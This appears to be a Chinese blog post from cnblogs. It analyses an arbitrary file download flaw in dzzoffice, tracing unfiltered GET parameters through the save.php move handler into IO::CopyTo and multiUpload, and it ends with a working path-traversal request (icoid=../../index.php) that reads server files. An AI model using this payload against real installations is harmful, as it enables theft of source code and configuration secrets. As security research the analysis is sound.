• dzzoffice 任意文件下载漏洞分析


    dzzoffice 任意文件下载

    \updload\dzz\system\save.php
    第72行开始:
        elseif($_GET['do']=='move'){
        $obz=trim($_GET['obz']);
        $tbz=trim($_GET['tbz']);
        $sourcetype=trim($_GET['sourcetype']);
        $icoids=explode(',',$_GET['icoid']);
        $ticoid=intval($_GET['ticoid']);
        $container=trim($_GET['container']);
        $iscut=isset($_GET['iscut'])?intval($_GET['iscut']):0;
        $data=array();
        $icoarr=array();
        $folderarr=array();
    进入move条件
    几个参数全是直接GET传入,没有过滤,只有$ticoid经过intval整形判断。

    $icoids看这个参数完全没有过滤,跟进
    elseif($sourcetype=='icoid'){//
            
            $data=array();
            $totalsize=0;
            $data['gid']=$gid;
            $data['iscopy']=$iscopy;
            $icos=$folderids=array();
            
            //
            
            foreach($icoids as $icoid){
                //
                $opath=rawurldecode($icoid);
                $path=rawurldecode(str_replace(array('_dock_','icosContainer_folder_','icosContainer_body_'),'',$container));
                
                 $return=IO::CopyTo($opath,$path,$iscopy);
                 if(!$iscopy){
                     $return = IO::DeleteByData($return);
                 }
                
                if($return['success']===true){
                    $data['icoarr'][]=$return['newdata'];
                    if(!$tbz){
                        addtoconfig($return['newdata'],$ticoid);
                    }
                    
                    if($return['newdata']['type']=='folder') $data['folderarr'][]=IO::getFolderByIcosdata($return['newdata']);
                    $data['successicos'][$return['icoid']]=$return['newdata']['icoid'];
                    
                }else{
                    $data['error'][]=$return['name'].':'.$return['success'];
                }
            }
            if($data['successicos']){
                $data['msg']='success';
                if(isset($data['error'])) $data['error']=implode(';',$data['error']);
                echo json_encode_gbk($data);
                exit();
            }else{
                $data['error']=implode(';',$data['error']);
                echo json_encode_gbk($data);
                exit();
            }
        }

    第162到第205行全是这个函数相关。
    首先是rawurldecode 和urldecode功能一样是url解码,然后$container=trim($_GET['container']);
    这个函数也是直接传入然后去空格没有过滤。


    $return=IO::CopyTo($opath,$path,$iscopy);这句是返回一个IO类的CopyTo方法的值跟进这个方法
    class IO extends dzz_io {}
    找到dzz_io类
    在\upload\core\class\dzz\dzz_io.php中定义这个类
    然后找到类方法CopyTo
    function CopyTo($opath,$path,$iscopy=0){
        
            if($io=self::initIO($opath)) return $io->CopyTo($opath,$path,$iscopy);
            else return false;
        }



    这里调用了另外一个类方法initIO这里把传入的第一个变量$opath传到这个方法当中跟进这个类方法
            protected function initIO($path){
            $bzarr=explode(':',$path);
            $allowbz=C::t('connect')->fetch_all_bz();//array('baiduPCS','ALIOSS','dzz','JSS');
            
            if(strpos($path,'dzz::')!==false){
                $classname= 'io_dzz';
            }elseif(strpos($path,'attach::')!==false){
                $classname= 'io_dzz';
            }elseif(is_numeric($bzarr[0])){
                $classname= 'io_dzz';
            }elseif(in_array($bzarr[0],$allowbz)){
                $classname= 'io_'.$bzarr[0];
            }else{
                return false;
            }
            return new $classname($path);
    观察返回值前是return $io->CopyTo而这里$io的值全是io_dzz所以就变成了return io_dzz->CopyTo(这里之前没注意$io返回值卡了半天)
    查看io_dzz类中的CopyTo方法
        public function CopyTo($icoid,$path,$iscopy){
            try{
                $data=self::getMeta($icoid);
                if(is_numeric($path)){//如果目标位置也是本地
                
                    if(!$iscopy){
                        $re=self::FileMove($icoid,$path,true);
                        $data['newdata']=$re['icoarr'];
                        $data['success']=true;
                    }else{
                        $re=self::FileCopy($icoid,$path,true);
                        $data['newdata']=$re['icoarr'];
                        $data['success']=true;
                    }
                    
                }else{
                    
                    switch($data['type']){
                        case 'folder'://创建目录
                            if($re=IO::CreateFolder($path,$data['name'])){
                                if(isset($re['error']) && intval($re['error_code'])!=31061){
                                    $data['success']=$arr['error'];
                                }else{
                                    
                                    $data['newdata']=$re['icoarr'];
                                    $data['success']=true;
                                     $contents=C::t('icos')->fetch_all_by_pfid($data['oid']);
                                     foreach($contents as $key=>$value){
                                        $data['contents'][$key]=self::CopyTo($value['icoid'],$re['folderarr']['path']);
                                     }
                                }
                            }
                            break;
                        case 'shortcut':case 'discuss':case 'dzzdoc':case 'user':case 'link':case 'music':case 'video':case 'topic':case 'app'://这些内容不能移动到api网盘内;
                            $data['success']=lang('message','非文件类只能存储在企业盘');
                            break;
                        default:
                            $re=IO::multiUpload($icoid,$path,$data['name']);
                            if($re['error']) $data['success']=$re['error'];
                            else{
                                $data['newdata']=$re;
                                $data['success']=true;
                            }
                            break;
                    }
                }
            }catch(Exception $e){
                $data['success']=$e->getMessage();
                return $data;
            }
            return $data;
        }
    在\upload\core\class\io\io_dzz.php的1415到1465行
    $re=IO::multiUpload($icoid,$path,$data['name']);这里调用multiUpload方法跟进
        function multiUpload($file,$path,$filename,$attach=array(),$ondup="newcopy"){
            if($io=self::initIO($path))    return $io->multiUpload($file,$path,$filename,$attach,$ondup);
            else return false;
        }




    同样是io_dzz类里面的multiUpload方法
    public function multiUpload($opath,$path,$filename,$attach=array(),$ondup="newcopy"){
        /*
         * 分块上传文件
         * param $file:文件路径(可以是url路径,需要服务器开启allow_url_fopen);
        */
            $partsize=1024*1024*5; //分块大小2M
            $data=IO::getMeta($opath);
            
            if($data['error']) return $data;
            $size=$data['size'];
            if(is_array($filepath=IO::getStream($opath))){
                return array('error'=>$filepath['error']);
            }
            
            if(!SpaceSize($attach['filesize'],$gid)){
                return array('error' => lang('message','inadequate_capacity_space'));
            }
            if($size<$partsize){
                //获取文件内容
                $fileContent='';
                if(!$handle=fopen($filepath, 'rb')){
                    return array('error'=>'打开文件错误');
                }
                while (!feof($handle)) {
                  $fileContent .= fread($handle, 8192);
                }
                fclose($handle);
                
                return self::upload($fileContent,$path,$filename);
            }else{ //分片上传
            
                $partinfo=array('ispart'=>true,'partnum'=>0,'flag'=>$path,'iscomplete'=>false);
                if(!$handle=fopen($filepath, 'rb')){
                    return array('error'=>'打开文件错误');
                }
                $fileContent='';
                while (!feof($handle)) {
                  $fileContent .= fread($handle, 8192);
                  if(strlen($fileContent)>=$partsize){
                      $partinfo['partnum']+=1;
                        if($partinfo['partnum']*$partsize>=$size) $partinfo['iscomplete']=true;
                      if($re=self::upload($fileContent,$path,$filename,$partinfo)){
                          if($re['error']) return $re;
                         if($partinfo['iscomplete']) return $re;
                      }
                      $fileContent='';
                  }
                }
                fclose($handle);
                if(!empty($fileContent)){
                    $partinfo['partnum']+=1;
                    $partinfo['iscomplete']=true;
                    if($re=self::upload($fileContent,$path,$filename,$partinfo)){
                        if($re['error']) return $re;
                        if($partinfo['iscomplete']) return $re;
                    }
                }
                      
            }
        }
    }
    这里上传文件
    重点终于来了!!!

                if($size<$partsize){
                //获取文件内容
                $fileContent='';
                if(!$handle=fopen($filepath, 'rb')){
                    return array('error'=>'打开文件错误');
                }
                while (!feof($handle)) {
                  $fileContent .= fread($handle, 8192);
                }
                fclose($handle);
                
                return self::upload($fileContent,$path,$filename);


    这里upload居然还会返回,而且变量可控。
    mod=corpus&op=list&cid=&fid=在数据库中看到他的上传结构是这样的
    构造payload
    /mod=system&op=save&do=move&container=dzz::&tbz=a&sourcetype=icoid&icoid=../../index.php


  • 相关阅读:
    51NOD 1773:A国的贸易——题解
    BZOJ4553:[HEOI2016/TJOI2016]序列——题解
    BZOJ4597:[SHOI2016]随机序列——题解
    BZOJ1858:[SCOI2010]序列操作——题解
    BZOJ5157 & 洛谷3970:[TJOI2014]上升子序列——题解
    BZOJ3173:[TJOI2013]最长上升子序列 & HDU3564:Another LIS——题解
    BZOJ4755: [JSOI2016]扭动的回文串——题解
    洛谷2000:拯救世界——题解
    PPP中的PAP和CHAP的区别
    Linux C 实现一个简单的线程池
  • 原文地址:https://www.cnblogs.com/wangshuwin/p/7261939.html
Copyright © 2020-2023  润新知